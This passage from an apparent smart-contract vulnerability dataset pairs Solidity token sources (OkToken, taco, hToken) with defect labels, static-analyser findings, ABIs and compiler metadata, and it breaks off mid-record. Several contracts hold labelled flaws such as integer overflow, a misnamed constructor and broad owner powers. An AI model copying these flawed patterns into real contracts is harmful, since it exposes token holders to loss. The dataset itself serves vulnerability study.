_burn(account, amount * (10 ** uint256(decimals())));
return true;
}
function mint(address account, uint256 amount) public virtual returns (bool) {
require(account == _owner, "BEP20: mint not allowed this address");
require(_msgSender() == _owner, "BEP20: mint not allowed to this address");
_mint(account, amount * (10 ** uint256(decimals())));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "BEP20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_supply = _supply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "BEP20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_supply = _supply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | [{"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["41", "54", "37", "145"]}] | [{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"OkToken.sol": [82, 83, 84, 85, 86, 87, 88, 89, 90]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"OkToken.sol": [236, 237, 238]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"OkToken.sol": [107, 108, 109, 110]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"OkToken.sol": [97, 98, 99, 100, 101]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"OkToken.sol": [16, 13, 14, 15]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"OkToken.sol": [104, 105, 103]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"OkToken.sol": [93, 94, 95]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OkToken.sol": [161, 162, 163]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OkToken.sol": [40, 37, 38, 39]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OkToken.sol": [145, 146, 147]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OkToken.sol": [197, 198, 199, 200, 201, 202]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OkToken.sol": [192, 193, 194, 195, 190, 191]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OkToken.sol": [41, 42, 43, 44, 45]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OkToken.sol": [157, 158, 159]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OkToken.sol": [149, 150, 151]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OkToken.sol": [137, 138, 139]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OkToken.sol": [185, 186, 187, 188]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OkToken.sol": [170, 171, 172, 173, 174]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OkToken.sol": [180, 181, 182, 183]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OkToken.sol": [168, 165, 166, 167]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OkToken.sol": [176, 177, 178]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"OkToken.sol": [6]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"OkToken.sol": [28, 29, 30]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"OkToken.sol": [28, 29, 30]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"OkToken.sol": [28, 29, 30]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"OkToken.sol": [8, 9, 10, 11, 12, 13, 14, 15, 16, 17]}}, {"check": "shadowing-state", "impact": "High", "confidence": "High", "lines": {"OkToken.sol": [20]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 39, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 215, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 223, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 185, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 6, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 6, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 20, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 115, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 116, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 117, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 118, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 119, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 120, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 121, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 114, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 23, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 123, "severity": 1}] | [{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"supply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.7.6+commit.7338295f | false | 200 | 000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000003b9aca0000000000000000000000000000000000000000000000000000000000000000074f6b546f6b656e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000074f4b544f4b454e00000000000000000000000000000000000000000000000000 | Default | MIT | false | ipfs://9c23900578bc1208a1bd59ad613249404c677adf410ba91a02ee02933e4e7dbc |
||
taco | 0x030385efc63ebda6021d9098b1fcc422547d83d3 | Solidity | /**
* Taconomics.io
*
*$TACO is a deflationary currency where liquidity providers wrap the token in a hard shell and are rewarded with sweet, sweet guac.
* This is the evolution of money.
*/
pragma solidity >=0.4.22 <0.6.0;
contract ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address who) public view returns (uint value);
function allowance(address owner, address spender) public view returns (uint remaining);
function transfer(address to, uint value) public returns (bool ok);
function transferFrom(address from, address to, uint value) public returns (bool ok);
function approve(address spender, uint value) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract taco is ERC20{
uint8 public constant decimals = 18;
uint256 initialSupply = 7265160*10**uint256(decimals);
string public constant name = "Tacos @ Taconomics.io";
string public constant symbol = "$TACO";
address payable teamAddress;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function totalSupply() public view returns (uint256) {
return initialSupply;
}
function balanceOf(address owner) public view returns (uint256 balance) {
return balances[owner];
}
function allowance(address owner, address spender) public view returns (uint remaining) {
return allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool success) {
if (balances[msg.sender] >= value && value > 0) {
balances[msg.sender] -= value;
balances[to] += value;
emit Transfer(msg.sender, to, value);
return true;
} else {
return false;
}
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
if (balances[from] >= value && allowed[from][msg.sender] >= value && value > 0) {
balances[to] += value;
balances[from] -= value;
allowed[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
} else {
return false;
}
}
function approve(address spender, uint256 value) public returns (bool success) {
allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
constructor () public payable {
teamAddress = msg.sender;
balances[teamAddress] = initialSupply;
}
function () external payable {
teamAddress.transfer(msg.value);
}
} | [{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["82"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["28", "27"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["60", "61", "62", "49", "50", "25"]}] | [{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"taco.sol": [25]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"taco.sol": [47, 48, 49, 50, 51, 52, 53, 54, 55, 56]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"taco.sol": [64, 65, 66, 67, 68, 58, 59, 60, 61, 62, 63]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"taco.sol": [35, 36, 37]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"taco.sol": [43, 44, 45]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"taco.sol": [70, 71, 72, 73, 74]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"taco.sol": [40, 41, 39]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"taco.sol": [8]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"taco.sol": [23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85]}}] | [] | [{"rule": "SOLIDITY_ERC20_APPROVE", "line": 70, "severity": 2}, {"rule": "SOLIDITY_ERC20_TRANSFER_SHOULD_THROW", "line": 47, "severity": 1}, {"rule": "SOLIDITY_ERC20_TRANSFER_SHOULD_THROW", "line": 58, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 23, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 8, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 8, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 25, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 30, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 32, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 33, "severity": 1}] | [{"inputs":[],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}] | v0.5.17+commit.d19bba13 | false | 200 | Default | None | false | bzzr://69e8b1095ef8a3b302265207d9aa70f5e5ddd9d7cc6ae887dff61d81342999b0 |
|||
hToken | 0x7e4d0ad7a3b15a1fa8285532dcfe969b22d1125a | Solidity | pragma solidity ^0.4.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
/////// Getters to allow the same blacklist to be used also by other contracts (including upgraded CNYT) ///////
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract hToken is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function hToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
} | [{"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["303"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["78"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["60", "271", "277", "282", "266", "266"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["431", "420", "407", "291", "421", "406"]}] | [{"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"hToken.sol": [416, 417, 418, 419, 420, 421, 422, 423]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"hToken.sol": [306]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"hToken.sol": [250, 251, 252, 253]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"hToken.sol": [307]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"hToken.sol": [390, 391, 392, 393, 394, 395, 396]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"hToken.sol": [402, 403, 404, 405, 406, 407, 408, 409]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"hToken.sol": [64, 65, 66, 67, 68]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"hToken.sol": [258, 259, 260, 261]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"hToken.sol": [425, 426, 427, 428, 429, 430, 431, 432, 433, 434]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"hToken.sol": [308]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"hToken.sol": [282, 283, 284, 285]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"hToken.sol": [280, 277, 278, 279]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"hToken.sol": [384, 385, 386, 387, 383]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"hToken.sol": [288, 289, 290, 291, 292, 293, 287]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hToken.sol": [128, 129, 130, 131, 132, 133, 134, 135, 122, 123, 124, 125, 126, 127]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hToken.sol": [128, 129, 130, 131, 132, 133, 134, 135, 122, 123, 124, 125, 126, 127]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hToken.sol": [195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"hToken.sol": [91]}}, {"check": "erc20-interface", "impact": 